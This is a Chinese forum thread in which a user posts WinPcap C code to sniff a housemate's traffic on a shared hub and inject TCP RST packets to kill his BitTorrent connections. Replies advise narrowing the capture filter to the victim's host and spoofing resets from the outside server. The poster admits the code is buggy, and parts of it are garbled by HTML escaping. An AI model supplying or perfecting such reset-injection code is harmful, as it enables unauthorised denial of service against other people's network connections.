tcp的RST标志问题
小弟最近给同一内网的兄弟用BT下载搞的很是苦恼。因为是HUB,于是想一个点子。用winpcap截包,如果包的源IP是他的,则给目的IP发送RST标志的包。由于对TCP协议不是很了解,包包截取到后,修改了RST标志后直接再发送,但就没有任何效果,用自己机器测试,上网仍然很正常。
考虑到WINPCAP和LIBPCAP都差不多,就发在这里了,望见晾。代码如下:
- // deny.cpp : Defines the entry point for the console application.
- //
- #include "stdafx.h"
- #include "pcap.h"
- #define TMP_IP "218.23.116.57"
- #define TH_RST 0x04
- #define DEBUG
- //struct sniff_ethernet {
- // UCHAR ether_dhost[6]; /* Destination host address */
- // UCHAR ether_shost[6]; /* Source host address */
- // USHORT ether_type; /* IP? ARP? RARP? etc */
- //};
- //typedef struct ip_address{
- // u_char byte1;
- // u_char byte2;
- // u_char byte3;
- // u_char byte4;
- //}ip_address;
- /* IPv4 header */
- typedef struct ip_header{
- u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
- u_char tos; // Type of service
- u_short tlen; // Total length
- u_short identification; // Identification
- u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
- u_char ttl; // Time to live
- u_char proto; // Protocol
- u_short crc; // Header checksum
- // ip_address saddr; // Source address
- // ip_address daddr; // Destination address
- UINT saddr;
- UINT daddr;
- u_int op_pad; // Option + Padding
- }ip_header;
- /* tcp header */
- typedef struct tcphdr
- {
- USHORT sport;
- USHORT dport;
- unsigned int seq;
- unsigned int ack;
- unsigned char lenres;
- unsigned char flag;
- USHORT win;
- USHORT sum;
- USHORT urp;
- }tcp_header;
- /* UDP header*/
- typedef struct udp_header{
- u_short sport; // Source port
- u_short dport; // Destination port
- u_short len; // Datagram length
- u_short crc; // Checksum
- }udp_header;
- pcap_t *p;
- void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
- {
- u_char *send_data = (u_char *)pkt_data;
- // struct sniff_ethernet *ethernet;
- ip_header *ih;
- tcp_header *th;
- int ih_len;
- u_int addr=0;
- addr=inet_addr(TMP_IP);
- // ethernet = (struct sniff_ethernet *)(pkt_data);
- ih = (ip_header *)(send_data+22);
- ih_len=(ih->;ver_ihl & 0xf) *4;
- th = (tcp_header *)((u_char *)ih+ih_len);
- if(ih->;saddr==addr) {
- #ifdef DEBUG
- printf("%d : %d ->; %d : %dn",
- ih->;saddr,
- ntohs(th->;sport),
- ih->;daddr,
- ntohs(th->;dport));
- #endif
- th->;ack=0;
- th->;flag=TH_RST; //Set the tcp's flag to 'rst'
- if(pcap_sendpacket(p,send_data,sizeof(send_data))!=0) { //send data
- fprintf(stderr,"nError sending the packet. n");
- return;
- }
- }
- }
- int main(int argc, char *argv[])
- {
- pcap_if_t *alldevs;
- pcap_if_t *d;
- int inum;
- int i=0;
- pcap_t *adhandle;
- char errbuf[PCAP_ERRBUF_SIZE];
- // u_int netmask;
- char packet_filter[] = "ip and udp";
- // struct bpf_program fcode;
- /* Retrieve the device list */
- if (pcap_findalldevs(&alldevs, errbuf) == -1)
- {
- fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
- return 0;
- //exit(1);
- }
- /* Print the list */
- for(d=alldevs; d; d=d->;next)
- {
- printf("%d. %s", ++i, d->;name);
- if (d->;description)
- printf(" (%s)n", d->;description);
- else
- printf(" (No description available)n");
- }
- if(i==0)
- {
- printf("nNo interfaces found! Make sure WinPcap is installed.n");
- return -1;
- }
- printf("Enter the interface number (1-%d):",i);
- scanf("%d", &inum);
- if(inum < 1 || inum >; i)
- {
- printf("nInterface number out of range.n");
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- /* Jump to the selected adapter */
- for(d=alldevs, i=0; i< inum-1 ;d=d->;next, i++);
- /* Open the adapter */
- if ( (adhandle= pcap_open_live(d->;name, // name of the device
- 65536, // portion of the packet to capture.
- // 65536 grants that the whole packet will be captured on all the MACs.
- 1, // promiscuous mode
- 1000, // read timeout
- // remote authentication
- errbuf // error buffer
- ) ) == NULL)
- {
- fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn");
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- /* Check the link layer. We support only Ethernet for simplicity. */
- // if(pcap_datalink(adhandle) != DLT_EN10MB)
- // {
- // fprintf(stderr,"nThis program works only on Ethernet networks.n");
- // /* Free the device list */
- // pcap_freealldevs(alldevs);
- // return -1;
- // }
- //
- // if(d->;addresses != NULL)
- // /* Retrieve the mask of the first address of the interface */
- // netmask=((struct sockaddr_in *)(d->;addresses->;netmask))->;sin_addr.S_un.S_addr;
- // else
- // /* If the interface is without addresses we suppose to be in a C class network */
- // netmask=0xffffff;
- //
- //
- // //compile the filter
- // if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 )
- // {
- // fprintf(stderr,"nUnable to compile the packet filter. Check the syntax.n");
- // /* Free the device list */
- // pcap_freealldevs(alldevs);
- // return -1;
- // }
- //
- // //set the filter
- // if (pcap_setfilter(adhandle, &fcode)<0)
- // {
- // fprintf(stderr,"nError setting the filter.n");
- // /* Free the device list */
- // pcap_freealldevs(alldevs);
- // return -1;
- // }
- printf("nlistening on %s...n", d->;description);
- /* At this point, we don't need any more the device list. Free it */
- pcap_freealldevs(alldevs);
- /* start the capture */
- p=adhandle;
- pcap_loop(adhandle, 0, packet_handler, NULL);
- return 0;
- }
复制代码
TMP_IP就是我要设置成用BT的兄弟的IP。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(5)
do you have linux installed?
use pcap instead of PF_PACKET and set a filter like
"tcp and src host 192.168.1.2"
where 192.168.1.2 is the one you want to kill
winpcap should have the same function
还有一点小问题,我的网络结构是:
internet---adslmodem----HUB
/
/
/
me B
me是我的机器,B是他的,我们各自拨号上网,问题是只能捕获到内网IP,却捕获不到他的外网IP。靠rootclown提供的代码,现在只能拒绝他的内网访问。外网连接依然正常。
而sniffer却能做到。不知道为什么。
谢谢,我明白了。
winpcap有pcap_sendpacket(),libpcap没有。
还有我的那个pcap_sendapcket中计算包大小用sizeof(send_data)根本不对,基础问题,汗!
you may as well see this
http://bbs.chinaunix.net/forum/v ... highlight=rootclown
>;>;>;>;果包的源IP是他的,则给目的IP发送RST标志的包
这个方法不大对头,因为你并不能截止原来的包,一般原来那个包会比你后来发的先到,你发的包与原来的包具有相同的序列号,并认为是重复的。
你可以冒充外网的机器向``用BT的兄弟的IP'' 发 RST. ack 设为0 是不行的。
ps: win_pacp/libpcap 现在可以发包了吗?